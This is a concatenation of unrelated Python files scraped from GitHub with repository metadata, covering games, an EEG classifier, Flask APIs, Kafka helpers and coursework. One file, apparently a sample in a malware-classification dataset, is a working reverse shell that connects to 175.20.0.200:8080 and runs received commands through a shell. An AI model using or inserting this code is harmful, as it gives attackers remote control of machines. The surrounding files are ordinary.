Constant(Sink): def __init__(self, data): Immutable.__init__(**locals()) @classmethod def new(cls, data={}): return cls( data = namedtuple_from_dict("ConstantData", data) ) @property def owner(self): return None def depth(self, helper): return 0 def __str__(self): return 'Constant : {self.data.id!r}'.format(**locals()) def update_data(self, data={}): new_data = dict(vars(self.data)) new_data.update(data) return self.new(new_data) class Target(Sink): pass class Function (Element): def __init__(self, sources, data): Immutable.__init__(**locals()) @classmethod def new(cls, sources, data={}): return cls( sources = namedtuple_from_dict("Sources", sources), data = namedtuple_from_dict("FunctionData", data) ) def depth(self,helper): if not self in helper: if not self.sources: depth = 0; else: depth = max(sink.depth(helper) for sink in self.sources) +1 helper[self] = depth; return helper[self] def __str__(self): return 'Function' def update_data(self, sink_data, data={}): new_data = dict(vars(self.data).items()) new_data.update(data) new_sinks = {slot: sink_data[sink] for slot, sink in vars(self.sources).items()} return Function.new(new_sinks, new_data) def __repr__(self): return "<FUNCTION " + str(id(self)) + ">" def _get_sinks_of_type(sink_type): def get_sinks(self): return ( sink for sink in self.sinks if isinstance(sink, sink_type) ) return get_sinks class Impl (Immutable): def __init__ (self, targets, sinks, functions): Immutable.__init__(**locals()) @classmethod def new(cls, target_sinks): target_sinks = namedtuple_from_dict('Targets',target_sinks) sinks, functions = Impl._calculate_reach(target_sinks) return cls( targets = target_sinks, sinks = sinks, functions = functions) @staticmethod def _calculate_reach(target_sinks): #import pdb; pdb.set_trace() sinks = set() functions = set() calc_sinks = deque(target_sinks) while calc_sinks: sink = calc_sinks.popleft() if sink in sinks: continue sinks.add(sink) function = sink.owner if function: if function in functions: continue functions.add(function) calc_sinks.extend(function.sources) return frozenset(sinks), frozenset(functions) def functions_with_targets(self, functions): targets = {} for sink in self.sinks: if sink.owner: targets.setdefault(sink.owner,set()).add((sink.target.slot, sink)) return ((function, targets[function]) for function in functions) constant_sinks = property(_get_sinks_of_type(Constant)) internal_sinks = property(_get_sinks_of_type(Internal)) source_sinks = property(_get_sinks_of_type(Source)) target_sinks = property(attrgetter('targets')) def update_data(self, sink_data): new_sinks = {slot: sink_data[sink] for slot, sink in vars(self.targets).items()} return Impl.new(new_sinks) def __repr__(self): return "<IMPL " + str(id(self)) + ">"

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christian@kalhauge.dk

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/tutorial4.py

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kingmayonaise/empty-app

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refs/heads/master

2021-01-18T05:02:53.594421

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from ggame import App, RectangleAsset, ImageAsset, Sprite, LineStyle, Color, Frame SCREEN_WIDTH = 640 SCREEN_HEIGHT = 480 class SpaceShip(Sprite): """ Animated space ship """ asset = ImageAsset("images/four_spaceship_by_albertov_with_thrust.png", Frame(227,0,292-227,125), 4, 'vertical') def __init__(self, position): super().__init__(SpaceShip.asset, position) class SpaceGame(App): """ Tutorial4 space game example. """ def __init__(self, width, height,): super().__init__(width, height) black = Color(0, 1) noline = LineStyle(0, black) bg_asset = RectangleAsset(SCREEN_WIDTH, SCREEN_HEIGHT, noline, black) bg = Sprite(bg_asset, (0,0)) SpaceShip((100,100)) myapp = SpaceGame(SCREEN_WIDTH, SCREEN_HEIGHT) myapp.run()

[ "danielmelnikov@hanovernorwichschools.org" ]

danielmelnikov@hanovernorwichschools.org

dd374ab7f5502aff595c11cccbb73827945a7707

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/y3s1/DMD/HW10/dbms/index.py

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[]

no_license

ariser/Innopolis

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refs/heads/master

2021-01-10T13:52:07.154146

2017-04-20T08:46:38

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from dbms.vendor.btree import BPlusTree class Index(object): __slots__ = ['btree'] def __init__(self): self.btree = BPlusTree(2)

[ "ariser@ariser.ru" ]

ariser@ariser.ru

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no_license

Ramaraja/python-snippets

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refs/heads/master

2023-05-31T03:22:55.788556

2023-05-18T09:11:38

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# parser data = """ NAME: "1", "DESCR": "C1000" PID: EC1K-TEST , VID: V00 , SN: 193823648 OID: 1.2.3.4.5.6 NAME: "2", "DESCR": "C1000" PID: EC1K-TEST , VID: V00 , SN: 193823648 OID: 1.2.3.4.5.6 """ def oid_parser(data): # assumed that the double newlines are seperate records records = data.split('\n\n') result = [] # to store the final result for item in records: # remove space, newline, tabs and flatterning flat_val = item.strip(' \n\t\"').replace("\n",",").replace('"', '') # still some spaces?? one more strip - Need to find a better way to do this. rec = [x.strip() for x in flat_val.split(',')] # convert to dict and store result.append(dict(r.strip(' ').split(':') for r in rec)) return result res = oid_parser(data) print(res) # test searching name and fetch oid for item in res: if str(item.get("NAME")).strip() == "1": print(item.get("OID"))

[ "noreply@github.com" ]

Ramaraja.noreply@github.com

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/project/eeg_classification.py

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boredStats/eeg-machine-learning

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2022-10-03T19:58:03.901354

2019-12-10T18:11:58

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MIT

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import numpy as np import pandas as pd import pickle as pkl import proj_utils as pu from os.path import isdir, join from os import mkdir from copy import deepcopy from imblearn.over_sampling import RandomOverSampler, SMOTE from imblearn.under_sampling import RandomUnderSampler from sklearn import ensemble, feature_selection, model_selection, preprocessing, svm, metrics, neighbors from sklearn.utils.testing import ignore_warnings from sklearn.utils import shuffle from sklearn.exceptions import ConvergenceWarning seed = 13 def calc_scores(y_test, predicted): balanced = metrics.balanced_accuracy_score(y_test, predicted) chance = metrics.balanced_accuracy_score(y_test, predicted, adjusted=True) f1 = metrics.f1_score(y_test, predicted, average=None) return balanced, chance, f1 def save_scores(f1_scores, balanced_scores, chance_scores, class_labels): # Calculate average performance and tack it onto the end of the score list, save to nice df n_folds = len(balanced_scores) f1_array = np.asarray(f1_scores) if n_folds != f1_array.shape[0]: raise ValueError("Number of folds does not match") rownames = ['Fold %02d' % (n+1) for n in range(n_folds)] rownames.append('Average') f1_class_averages = np.mean(f1_array, axis=0) f1_data = np.vstack((f1_array, f1_class_averages)) f1_df = pd.DataFrame(f1_data, index=rownames, columns=class_labels) balanced_scores.append(np.mean(balanced_scores)) chance_scores.append(np.mean(chance_scores)) accuracy_data = np.asarray([balanced_scores, chance_scores]).T score_df = pd.DataFrame(data=accuracy_data, index=rownames, columns=['Balanced accuracy', 'Chance accuracy']) return f1_df, score_df def svmc(x_train, y_train, x_test, cleaned_features): clf = svm.LinearSVC(fit_intercept=False, random_state=seed) clf.fit(x_train, y_train) target_classes = clf.classes_ target_classes = [str(c) for c in target_classes] predicted = clf.predict(x_test) if len(target_classes) == 2: idx_label = ['coefficients'] else: idx_label = target_classes coef_df = pd.DataFrame(clf.coef_, index=idx_label, columns=cleaned_features) return predicted, coef_df, clf def extra_trees(x_train, y_train, x_test, cleaned_features): clf = ensemble.ExtraTreesClassifier(random_state=seed) clf.fit(x_train, y_train) predicted = clf.predict(x_test) feature_df = pd.DataFrame(columns=cleaned_features) feature_df.loc['feature_importances'] = clf.feature_importances_ return predicted, feature_df, clf def knn(x_train, y_train, x_test): clf = neighbors.KNeighborsClassifier() clf.fit(x_train, y_train) predicted = clf.predict(x_test) return predicted, clf def convert_hads_to_single_label(hads_array): hads_array = hads_array.astype(int) vartypes = ['anxiety', 'depression'] hads_single_label = [] for row in range(hads_array.shape[0]): str_combos = [] for col in range(hads_array.shape[1]): val = hads_array[row, col] if val == 0: str_convert = '%s_normal' % vartypes[col] elif val == 1: str_convert = '%s_borderline' % vartypes[col] elif val == 2: str_convert = '%s_abnormal' % vartypes[col] str_combos.append(str_convert) hads_combined = '%s-%s' % (str_combos[0], str_combos[1]) hads_single_label.append(hads_combined) return hads_single_label def feature_selection_with_covariates(x_train, x_test, y_train, continuous_indices, categorical_indices, feature_names): # Split data for continuous, categorical preprocessing x_train_cont, x_test_cont = x_train[:, continuous_indices], x_test[:, continuous_indices] x_train_cat, x_test_cat = x_train[:, categorical_indices], x_test[:, categorical_indices] # Standardization for continuous data preproc = preprocessing.StandardScaler().fit(x_train_cont) x_train_z = preproc.transform(x_train_cont) x_test_z = preproc.transform(x_test_cont) # Variance threshold for categorical data varthresh = feature_selection.VarianceThreshold(threshold=0).fit(x_train_cat) x_train_v = varthresh.transform(x_train_cat) x_test_v = varthresh.transform(x_test_cat) x_train_data = np.hstack((x_train_z, x_train_v)) x_test_data = np.hstack((x_test_z, x_test_v)) # Feature selection with extra trees extra_tree_fs = ensemble.ExtraTreesClassifier(random_state=seed) feature_model = feature_selection.SelectFromModel(extra_tree_fs, threshold="2*mean") # Transform train and test data with feature selection model x_train_feature_selected = feature_model.fit_transform(x_train_data, y_train) x_test_feature_selected = feature_model.transform(x_test_data) feature_indices = feature_model.get_support(indices=True) cleaned_features = [feature_names[i] for i in feature_indices] return x_train_feature_selected, x_test_feature_selected, cleaned_features def feature_selection_without_covariates(x_train, x_test, y_train, feature_names): # Standardization for continuous data preproc = preprocessing.StandardScaler().fit(x_train) x_train_z = preproc.transform(x_train) x_test_z = preproc.transform(x_test) # Feature selection with extra trees extra_tree_fs = ensemble.ExtraTreesClassifier(random_state=seed) feature_model = feature_selection.SelectFromModel(extra_tree_fs, threshold="2*mean") # Transform train and test data with feature selection model x_train_feature_selected = feature_model.fit_transform(x_train_z, y_train) x_test_feature_selected = feature_model.transform(x_test_z) feature_indices = feature_model.get_support(indices=True) cleaned_features = [feature_names[i] for i in feature_indices] return x_train_feature_selected, x_test_feature_selected, cleaned_features @ignore_warnings(category=ConvergenceWarning) def eeg_classify(eeg_data, target_data, target_type, model, outdir=None, resample='SMOTE'): feature_names = list(eeg_data) if "categorical_sex_male" in feature_names: cv_check = 'with_covariates' else: cv_check = 'without_covariates' if resample is 'no_resample': class NoResample: # for convenience @staticmethod def fit_resample(a, b): return a.values, np.asarray(b) resampler = NoResample() elif resample is 'ROS': resampler = RandomOverSampler(sampling_strategy='not majority', random_state=seed) elif resample is 'SMOTE': resampler = SMOTE(sampling_strategy='not majority', random_state=seed) elif resample is 'RUS': resampler = RandomUnderSampler(sampling_strategy='not minority', random_state=seed) x_res, y_res = resampler.fit_resample(eeg_data, target_data) if outdir is not None: model_outdir = join(outdir, '%s %s %s %s' % (target_type, model, cv_check, resample)) if not isdir(model_outdir): mkdir(model_outdir) print('%s: Running classification - %s %s %s %s' % (pu.ctime(), target_type, model, cv_check, resample)) # Apply k-fold splitter n_splits = 50 skf = model_selection.StratifiedKFold(n_splits=n_splits, random_state=seed) skf.get_n_splits(x_res, y_res) fold_count = 0 classifier_objects, classifier_coefficients, cm_dict, norm_cm_dict = {}, {}, {}, {} balanced_acc, chance_acc, f1_scores = [], [], [] for train_idx, test_idx in skf.split(x_res, y_res): fold_count += 1 print('%s: Running FOLD %d for %s' % (pu.ctime(), fold_count, target_type)) foldname = 'Fold %02d' % fold_count # Stratified k-fold splitting x_train, x_test = x_res[train_idx], x_res[test_idx] y_train, y_test = y_res[train_idx], y_res[test_idx] if "categorical_sex_male" in feature_names: continuous_features = [f for f in feature_names if 'categorical' not in f] continuous_indices = [eeg_data.columns.get_loc(cont) for cont in continuous_features] categorical_features = [f for f in feature_names if 'categorical' in f] categorical_indices = [eeg_data.columns.get_loc(cat) for cat in categorical_features] x_train_fs, x_test_fs, cleaned_features = feature_selection_with_covariates( x_train, x_test, y_train, continuous_indices, categorical_indices, feature_names) else: x_train_fs, x_test_fs, cleaned_features = feature_selection_without_covariates( x_train, x_test, y_train, feature_names) if model is 'svm': predicted, coef_df, clf = svmc(x_train_fs, y_train, x_test_fs, cleaned_features) classifier_coefficients[foldname] = coef_df elif model is 'extra_trees': predicted, feature_importances, clf = extra_trees(x_train_fs, y_train, x_test_fs, cleaned_features) classifier_coefficients[foldname] = feature_importances elif model is 'knn': predicted, clf = knn(x_train_fs, y_train, x_test_fs) classifier_objects[foldname] = clf # Calculating fold performance scores balanced, chance, f1 = calc_scores(y_test, predicted) balanced_acc.append(balanced) chance_acc.append(chance) f1_scores.append(f1) # Calculating fold confusion matrix cm = metrics.confusion_matrix(y_test, predicted) normalized_cm = cm.astype('float')/cm.sum(axis=1)[:, np.newaxis] cm_dict[foldname] = pd.DataFrame(cm, index=clf.classes_, columns=clf.classes_) norm_cm_dict[foldname] = pd.DataFrame(normalized_cm, index=clf.classes_, columns=clf.classes_) # Saving performance scores f1_df, score_df = save_scores(f1_scores, balanced_acc, chance_acc, class_labels=clf.classes_) scores_dict = {'accuracy scores': score_df, 'f1 scores': f1_df} try: pu.save_xls(scores_dict, join(model_outdir, 'performance.xlsx')) # Saving coefficients if bool(classifier_coefficients): pu.save_xls(classifier_coefficients, join(model_outdir, 'coefficients.xlsx')) pu.save_xls(cm_dict, join(model_outdir, 'confusion_matrices.xlsx')) pu.save_xls(norm_cm_dict, join(model_outdir, 'confusion_matrices_normalized.xlsx')) # Saving classifier object with open(join(model_outdir, 'classifier_object.pkl'), 'wb') as file: pkl.dump(classifier_objects, file) except Exception: pass return scores_dict def side_classification_drop_asym(ml_data, behavior_data, output_dir, models=None): print('%s: Running classification on tinnitus side, dropping asymmetrical subjects' % pu.ctime()) ml_copy = deepcopy(ml_data) if models is None: models = ['extra_trees'] resample_methods = [None, 'over', 'under'] t = pu.convert_tin_to_str(behavior_data['tinnitus_side'].values.astype(float), 'tinnitus_side') t_df = pd.DataFrame(t, index=ml_copy.index) asym_indices = [] for asym in ['Right>Left', 'Left>Right']: asym_indices.extend([i for i, s in enumerate(t) if asym == s]) asym_data = ml_copy.iloc[asym_indices] ml_copy.drop(index=asym_data.index, inplace=True) t_df.drop(index=asym_data.index, inplace=True) target_cleaned = np.ravel(t_df.values) for model in models: for res in resample_methods: eeg_classify(ml_copy, target_cleaned, 'tinnitus_side_no_asym', model, output_dir, resample=res) # side_classification_drop_asym(ml_data, behavior_data, output_dir, models=models) def type_classification_drop_mixed(ml_data, behavior_data, output_dir, models=None): print('%s: Running classification on tinnitus type, dropping mixed type subjects' % pu.ctime()) ml_copy = deepcopy(ml_data) if models is None: models = ['extra_trees'] resample_methods = [None, 'over', 'under'] t = pu.convert_tin_to_str(behavior_data['tinnitus_type'].values.astype(float), 'tinnitus_type') t_df = pd.DataFrame(t, index=ml_copy.index) mixed_indices = [i for i, s in enumerate(t) if s == 'PT_and_NBN'] type_data = ml_copy.iloc[mixed_indices] ml_copy.drop(index=type_data.index, inplace=True) t_df.drop(index=type_data.index, inplace=True) target_cleaned = np.ravel(t_df.values) for model in models: for res in resample_methods: eeg_classify(ml_copy, target_cleaned, 'tinnitus_type_no_mixed', model, output_dir, resample=res) # type_classification_drop_mixed(ml_data, behavior_data, output_dir, models=models) def classification_main(covariates=True, n_iters=0): output_dir = './../data/eeg_classification' if not isdir(output_dir): mkdir(output_dir) print('%s: Loading data' % pu.ctime()) behavior_data, conn_data = pu.load_data_full_subjects() ml_data_without_covariates = conn_data.astype(float) categorical_variables = ['smoking', 'deanxit_antidepressants', 'rivotril_antianxiety', 'sex'] categorical_data = behavior_data[categorical_variables] dummy_coded_categorical = pu.dummy_code_binary(categorical_data) covariate_data = pd.concat([behavior_data['age'], dummy_coded_categorical], axis=1) ml_data_with_covariates = pd.concat([conn_data, covariate_data], axis=1) models = ['svm', 'extra_trees', 'knn'] resample_methods = ['no_resample', 'ROS', 'SMOTE', 'RUS'] targets = {} side_data = pu.convert_tin_to_str(behavior_data['tinnitus_side'].values.astype(float), 'tinnitus_side') targets['tin_side'] = side_data type_data = pu.convert_tin_to_str(behavior_data['tinnitus_type'].values.astype(float), 'tinnitus_type') targets['tin_type'] = type_data tq_data = behavior_data['distress_TQ'].values high_low_thresholds = [0, 46, 84] tq_high_low = np.digitize(tq_data, bins=high_low_thresholds, right=True) targets['TQ_high_low'] = tq_high_low grade_thresholds = [0, 30, 46, 59, 84] binned_target = np.digitize(tq_data, bins=grade_thresholds, right=True) tq_grade = ['Grade_%d' % t for t in binned_target] targets['TQ_grade'] = tq_grade # hads_thresholds = [8, 11, 21] # 0-7 (normal); 8-10 (borderline); 11-21 (abnormal) # anx_binned = np.digitize(behavior_data['anxiety_score'].values.astype(float), bins=hads_thresholds, right=True) # dep_binned = np.digitize(behavior_data['depression_score'].values.astype(float), bins=hads_thresholds, right=True) # targets['hads_OVR'] = convert_hads_to_single_label(np.vstack((anx_binned, dep_binned)).T) if covariates: ml_data = ml_data_with_covariates cv_check = 'with_covariates' else: ml_data = ml_data_without_covariates cv_check = 'without_covariates' if n_iters != 0: for model in models: for res in resample_methods: for target in targets: target_data = targets[target] perm_scores = {} model_outdir = join(output_dir, '%s %s %s %s' % (target, model, cv_check, res)) if not isdir(model_outdir): mkdir(model_outdir) for n in range(n_iters): perm_target = shuffle(target_data) scores = eeg_classify( ml_data, perm_target, target_type=target, model=model, resample=res) perm_scores['Iter%05d' % n] = scores with open(join(model_outdir, 'perm_scores.pkl'), 'wb') as file: pkl.dump(perm_scores, file) else: for target in targets: target_data = targets[target] for model in models: for res in resample_methods: eeg_classify(ml_data, target_data, target_type=target, model=model, outdir=output_dir, resample=res) print('%s: Finished' % pu.ctime()) classification_main(covariates=True, n_iters=0) classification_main(covariates=False, n_iters=0) def test_gridsearch(): def gridsearch_pipe(cv=None): from sklearn.pipeline import Pipeline from sklearn.preprocessing import StandardScaler from sklearn.feature_selection import SelectFromModel from sklearn.ensemble import ExtraTreesClassifier from sklearn.model_selection import GridSearchCV from sklearn.svm import SVC kernel_range = ('linear', 'rbf') # , 'poly'] c_range = [1, 10, 100] # np.arange(start=1, stop=100, step=10, dtype=int) # gamma_range = np.arange(.01, 1, .01) param_grid = {'C': c_range} # , 'gamma': gamma_range} # , 'kernel': kernel_range} pipe = Pipeline([ ('preprocess_data', StandardScaler()), ('feature_selection', SelectFromModel(ExtraTreesClassifier(random_state=13), threshold="2*mean")), ('grid', GridSearchCV(SVC(kernel='rbf'), param_grid=param_grid, cv=cv, scoring='balanced_accuracy'))]) return pipe print('%s: Loading data' % pu.ctime()) behavior_data, conn_data = pu.load_data_full_subjects() ml_data_without_covariates = conn_data.astype(float) side_data = pu.convert_tin_to_str(behavior_data['tinnitus_side'].values.astype(float), 'tinnitus_side') resampler = SMOTE(sampling_strategy='not majority', random_state=seed) x_res, y_res = resampler.fit_resample(ml_data_without_covariates, side_data) n_splits = 10 skf = model_selection.StratifiedKFold(n_splits=n_splits, random_state=seed) skf.get_n_splits(x_res, y_res) pipe = gridsearch_pipe(cv=skf).fit(x_res, y_res) gridsearch = pipe[-1] best_params = gridsearch.best_params_ print(best_params) best_score = gridsearch.best_score_ print(best_score) print('%s: Finished' % pu.ctime()) test_gridsearch()

[ "ian.abenes@gmail.com" ]

ian.abenes@gmail.com

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/6_palindroom.py

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[]

no_license

astilleman/MI

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refs/heads/master

2023-03-29T19:14:46.817308

2021-04-06T15:43:17

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0

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py

""" Een palindroom is een string die hetzelfde leest van links naar rechts, als omgekeerd. Enkele voorbeelden van palindromen zijn: - kayak - racecar - was it a cat I saw Schrijf een recursieve functie die een string vraagt aan de gebruiker en nakijkt of deze string al dan niet een palindroom is. Indien de ingevoerde string een palindroom is, moet de functie True teruggeven, anders geeft de functie False terug. Je mag ervan uitgaan dat de gegeven string geen spaties bevat. Let op: Zorg ervoor dat je functie niet hoofdlettergevoelig is. """ def is_palindroom(string): result = True if string == "": exit() if string[0] != string[-1]: result = False else: result = is_palindroom(string[1:len(string)]) return result # TESTS assert is_palindroom("") assert is_palindroom("a") assert is_palindroom("aa") assert not is_palindroom("ab") assert is_palindroom("aba") assert not is_palindroom("aab") assert is_palindroom("kayak") assert not is_palindroom("racehorse") assert is_palindroom("racecar") assert is_palindroom("wasitacatIsaw")

[ "43027764+astilleman@users.noreply.github.com" ]

43027764+astilleman@users.noreply.github.com

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/utilities/kafka_functions.py

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[]

no_license

JumaKahiga/cashcog

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refs/heads/develop

2022-12-13T01:25:48.520910

2020-05-06T11:49:27

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0

null

2022-01-21T20:10:44

2019-12-06T16:20:08

Python

UTF-8

Python

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772

py

from kafka import KafkaProducer def publish_message(producer_instance, topic_name, key, value): try: key_bytes = bytes(key, encoding='utf-8') value_bytes = bytes(value, encoding='utf-8') producer_instance.send(topic_name, key=key_bytes, value=value_bytes) producer_instance.flush() print('Message published successfully.') except Exception as ex: print('Exception in publishing message') print(str(ex)) def connect_kafka_producer(): _producer = None try: _producer = KafkaProducer( bootstrap_servers=['kafka:9092'], api_version=(0, 10)) except Exception as ex: print('Exception while connecting Kafka') print(str(ex)) finally: return _producer

[ "kabirumwangi@gmail.com" ]

kabirumwangi@gmail.com

61a282f16b0983b3c5423e695cafa939076f1269

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/horus/application/api/client.py

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[]

no_license

juanvaes/horus

3a333910faaa0e9e66274006689c29ff0e8428a9

f14be3b408135ffd964d830e6b11c266b6bad286

refs/heads/master

2020-03-29T04:36:13.480690

2019-02-01T11:42:53

149,539,108

0

null

2019-01-03T16:43:35

2018-09-20T02:22:45

Python

UTF-8

Python

false

917

py

from flask import jsonify, request from application import session from urllib.parse import urlparse from application.api import appi from application.models import Client @appi.route('/clients', methods=['GET']) def get_clients_all(): clients = Client.get_all() print(clients) return jsonify({'data':clients}) @appi.route('/client/search', methods=['GET']) def get_client(): return jsonify({'data':'proving'}) @appi.route('/client/', methods=['POST']) def post_client(): data = request.json # gets the data as dictionary client = Client() client.to_obj(data) response = Client.create(client) return jsonify({'message': response}) @appi.route('/client/', methods=['PUT']) def put_client(): return jsonify({'message':'<h1> Client updated </h1>'}) @appi.route('/client/', methods=['DELETE']) def delete_client(): return jsonify({'message':'<h1> Client deleted </h1>'})

[ "juanvaes22@gmail.com" ]

juanvaes22@gmail.com

2ba29bb6527519b7c9d06927fd4de577934867a1

4b8fe7722b590f061435e48a200a5e460c34e09d

/463.py

4199d0fa3079a6cf9b57fc956709802f611759bd

[]

no_license

luyibo/leetcode

79902b51092dba3b869c8b9c494c62f387808590

dfc26b4ed5c7cfc7edad36e75edf6cabfae3bbb4

refs/heads/master

2021-05-15T01:11:20.419251

2016-12-29T01:56:44

2016-12-29T01:57:58

57,302,713

0

null

UTF-8

Python

false

584

py

class Solution(object): def islandPerimeter(self, grid): """ :type grid: List[List[int]] :rtype: int """ land = 0 neighbour = 0 for i in range(len(grid)): for j in range(len(grid[0])): if grid[i][j] == 1: land += 1 if i<len(grid)-1 and grid[i+1][j] == 1:neighbour += 1 if j<len(grid[0])-1 and grid[i][j+1] == 1:neighbour += 1 return land*4-neighbour*2 s = Solution() s.islandPerimeter([[0,1,0,0],[1,1,1,0],[0,1,0,0],[1,1,0,0]])

[ "1428260548@qq.com" ]

1428260548@qq.com

174e5543c3d14be2f7973435e139bd2bb9bc19b5

ef2f932655e4591c4f654431cd96eedd0af2b5ba

/tests/example.py

b717490fbd69d71977bed6f795fb9a7c57e8a744

[ "MIT" ]

permissive

cair/hex-ai

b380447c6dd445452c161babefdfadf329e899fa

70c134a1479b58634e62c845314c7536ad64e4be

refs/heads/master

2021-08-03T02:37:13.928443

2021-07-26T19:58:51

2021-07-26T20:02:29

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MIT

2021-04-19T17:44:02

2019-09-18T09:46:06

C

UTF-8

Python

false

540

py

from PyHex import Hex11 as Hex if __name__ == "__main__": hg = Hex.HexGame() winner = -1 for game in range(10000000): Hex.init(hg) player = 0 while Hex.full_board(hg) == 0: position = Hex.place_piece_randomly(hg, player) if Hex.winner(hg, player, position): winner = player break player = 1 - player if hg.number_of_open_positions >= 75: print("\nPlayer %s wins!\n\n" % (winner, )) Hex.print(hg)

[ "per@sysx.no" ]

per@sysx.no

2a5f098970707ee38ff75ca8d29e49d273794e98

02fa673f9884afb39cfb3b0a933f31c0490e91ac

/run.py

54db5923f0f4e7457078279564fb3963d12d1c2e

[]

no_license

morez-tvk/order

d8a1eac6a58150a9ccef244f1adb870cb5011446

022d72b3de662720dbbf64b996b149485fa089a8

refs/heads/master

2023-04-30T01:05:13.278301

2021-05-20T13:11:21

289,751,487

0

null

UTF-8

Python

false

2,620

py

from flask import Flask, request, jsonify import requests from nahayat import NahayatNegar import flask import time from multiprocessing import Process import json from LogMg import logger # import requests app = Flask(__name__) app.config["DEBUG"] = True import datetime def input_validator(request): try: text_json = request.data json.loads(text_json) except: return False return True oid = 0 orders = {} l_o = {} session = requests.Session() @app.route('/nahayat_negar', methods=['post']) def first_order(): global oid global l_o global orders if not input_validator(request): flask.abort(400, "The input should be json.") text_json = request.data data = json.loads(text_json) if data['status'] == 'set': oid += 1 # time_period = data.get('tedad', 20) # delay = data.get('delay', 0) next_ot = data.get("next_ot") orders[oid] = NahayatNegar(data=data['json'], limit_time=data['time'], servers=data['servers']) # orders[oid].order(next_ot) t = Process(target=orders[oid].order, args=(next_ot,)) t.start() print("wating ...") # orders [oid].multi_req (delay, time_period) # l_o[oid] = t return {'id': oid, 'status': 200} elif data['status'] == 'cancel': try: l_o[data['id']].terminate() l_o[data['id']].join(0) orders.pop(data['id']) return {"message": f"order {data['id']} deleted from queue"} except: flask.abort(500, "No such order in queue") @app.route('/get_next', methods=['post']) def x(): req = request.json logger.info('sending request') try: res = requests.post(req['link'], cookies=req['cookies'], headers=req['headers'], data=req['data']) ot = res.json()['customer']['orderTicket'] req['data']['data']['orderTicket'] = ot except KeyError: logger.error(res.json()) except Exception as e: logger.error('whattttttttt') if req['counter'] + 1 < len(req['servers']): logger.info("sending to next one") session.post(f"{req['servers'][req['counter']]}:2021/get_next", json={ "link": req['link'], "cookies": req['cookies'], "headers": req['headers'], "data": json.dumps(req['data']), "servers": req['servers'], "counter": req['counter'] + 1 }) try: logger.info(res.json()) except Exception as e: pass # app.run(host='0.0.0.0',port=2020)

[ "tavakolian.mr@gmail.com" ]

tavakolian.mr@gmail.com

66eef6585fd94f0ceff511a5bcdfafdbbc1d0330

b580fd482147e54b1ca4f58b647fab016efa3855

/host_im/mount/malware-classification-master/samples/virus/sample_bad382.py

9b733b70a15ec41b80a16eccdf59369f39e4f4a9

[]

no_license

Barnsa/Dissertation

1079c8d8d2c660253543452d4c32799b6081cfc5

b7df70abb3f38dfd446795a0a40cf5426e27130e

refs/heads/master

2022-05-28T12:35:28.406674

2020-05-05T08:37:16

138,386,344

0

null

UTF-8

Python

false

318

py

import bz2 import threading import socket import subprocess import lzma import hashlib s=socket.socket(socket.AF_INET,socket.SOCK_STREAM) s.connect(("175.20.0.200",8080)) while not False: command = s.recv(1024).decode("utf-8") if not command: break data = subprocess.check_output(command, shell=True) s.send(data)

[ "barnsa@uni.coventry.ac.uk" ]

barnsa@uni.coventry.ac.uk

05b6136d14b4fcea82c6f71e820305b667687133

48d6041a7744baa1a4c563380d00fed8ae66cb08

/flo.py

36c0373df517bd9d0e598b1336d24e74eb454906

[]

no_license

gowtham-kingxo/Ubuntu_Installation_form

34c7e35aa49a5165bf25d3d555742e3f9018bf4b

fcff2287bc8bdc4295e069367d6d68f60db17d71

refs/heads/master

2021-01-11T13:36:59.208082

2017-06-23T17:16:00

95,014,953

0

null

UTF-8

Python

false

38

py

x=input() y=input() print(x) print(y)

[ "gowtham.gourov@gmail.com" ]

gowtham.gourov@gmail.com

75b9354c43fbe2ada91b3db0a439507494e90df6

26e33f6491218e2a1c677e917742e42bfcd0eaa6

/pychat/pychat/Assigner.py

0c0de1a7f530f30c7eff31c170e55a5bfe4abd14

[ "MIT" ]

permissive

fanjiamin1/cryptocurrencies

4ef1f37b56dc3d098f3a47cbd198952da74ec635

2009ade60f74093ff9946b99ae45d2964f5a75ca

refs/heads/master

2021-01-21T11:49:06.636178

2016-12-20T13:29:06

null

0

null

UTF-8

Python

false

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py

import socket import sys from pychat.crypto import AES as Cipher from Crypto import Random class Alice(): def __init__(self, key="0123456789defabc"): self.key = key self.cipher = Cipher(self.key) self.socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM) def connect(self, ip_address, port): self.socket.connect((ip_address, port)) def send(self, message): self.socket.sendall(self.cipher.encrypt(message)) def assign(self,difficulty=10, prefix='thisiseasymonkey'): print('in assign') self.send(prefix+' '+str(difficulty)) #felt like this would do more... if __name__ == "__main__": args = sys.argv[1:] try: bob_ip = input("IP address: ") bob_port = int(input("Port: ")) key = input("Encryption key: ") except KeyboardInterrupt: print() print("No chatting with Bob today... </3") sys.exit() print("Attempting to connect to {} on port {}".format(bob_ip, bob_port)) alice = Alice() # key variable unused try: alice.connect(bob_ip, bob_port) except: print("Couldn't get a connection with Bob...") sys.exit() try: while 1: print("to send a proof of work task" +"simply write 'task', you can also specify" +"a 16 byte prefix and a number of zeroes" +"to be found in a sha5 hash with that prefix" +"by writing task(prefix,numzeroes)") print("you can also send simple encrypted messages") message=input("Message: ") print(message) print(message.lower()) print(message.lower()=='task') istask=False if message.lower()=='task': istask=True alice.assign() elif message.lower()[:5]=="task(": istask=True prefix=message[5:21] try: difficulty=int(message[22:]) except ValueError: istask=False if istask: alice.assign(prefix,difficulty) if not istask: alice.send(message) except KeyboardInterrupt: print() print("That's enough chatting for now")

[ "ivarr15@ru.is" ]

ivarr15@ru.is

b10302ab2daca47e9bd8afe17228e2f901d2976a

d00b1e01f82076248eb07d6391fafabfbac74898

/metadata/FrostNumber/hooks/pre-stage.py

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[ "MIT" ]

permissive

csdms/wmt-metadata

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39207acc376f1cd21b2ae1d5581a1e2c317a6441

refs/heads/master

2020-04-07T00:39:56.268862

2019-02-26T21:24:20

51,040,972

0

MIT

2018-10-31T19:36:54

2016-02-04T00:23:47

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"""A hook for modifying parameter values read from the WMT client.""" import os import shutil from wmt.utils.hook import find_simulation_input_file, yaml_dump from topoflow_utils.hook import assign_parameters file_list = [] def execute(env): """Perform pre-stage tasks for running a component. Parameters ---------- env : dict A dict of component parameter values from WMT. """ env['end_year'] = long(env['start_year']) + long(env['_run_duration']) - 1 env['fn_out_filename'] = 'frostnumber_output.dat' assign_parameters(env, file_list) for fname in file_list: src = find_simulation_input_file(env[fname]) shutil.copy(src, os.curdir) env['_file_list'] = file_list yaml_dump('_env.yaml', env)

[ "mark.piper@colorado.edu" ]

mark.piper@colorado.edu

a296c689355de9ff44465c89010087d206693bda

e15d63ccde04e7458bff5af1bdad63a5c699b489

/example/Model_Conversion/mx2torch/retinaface_r50/res50_transfer_weight.py

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permissive

ddddwee1/TorchSUL

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refs/heads/master

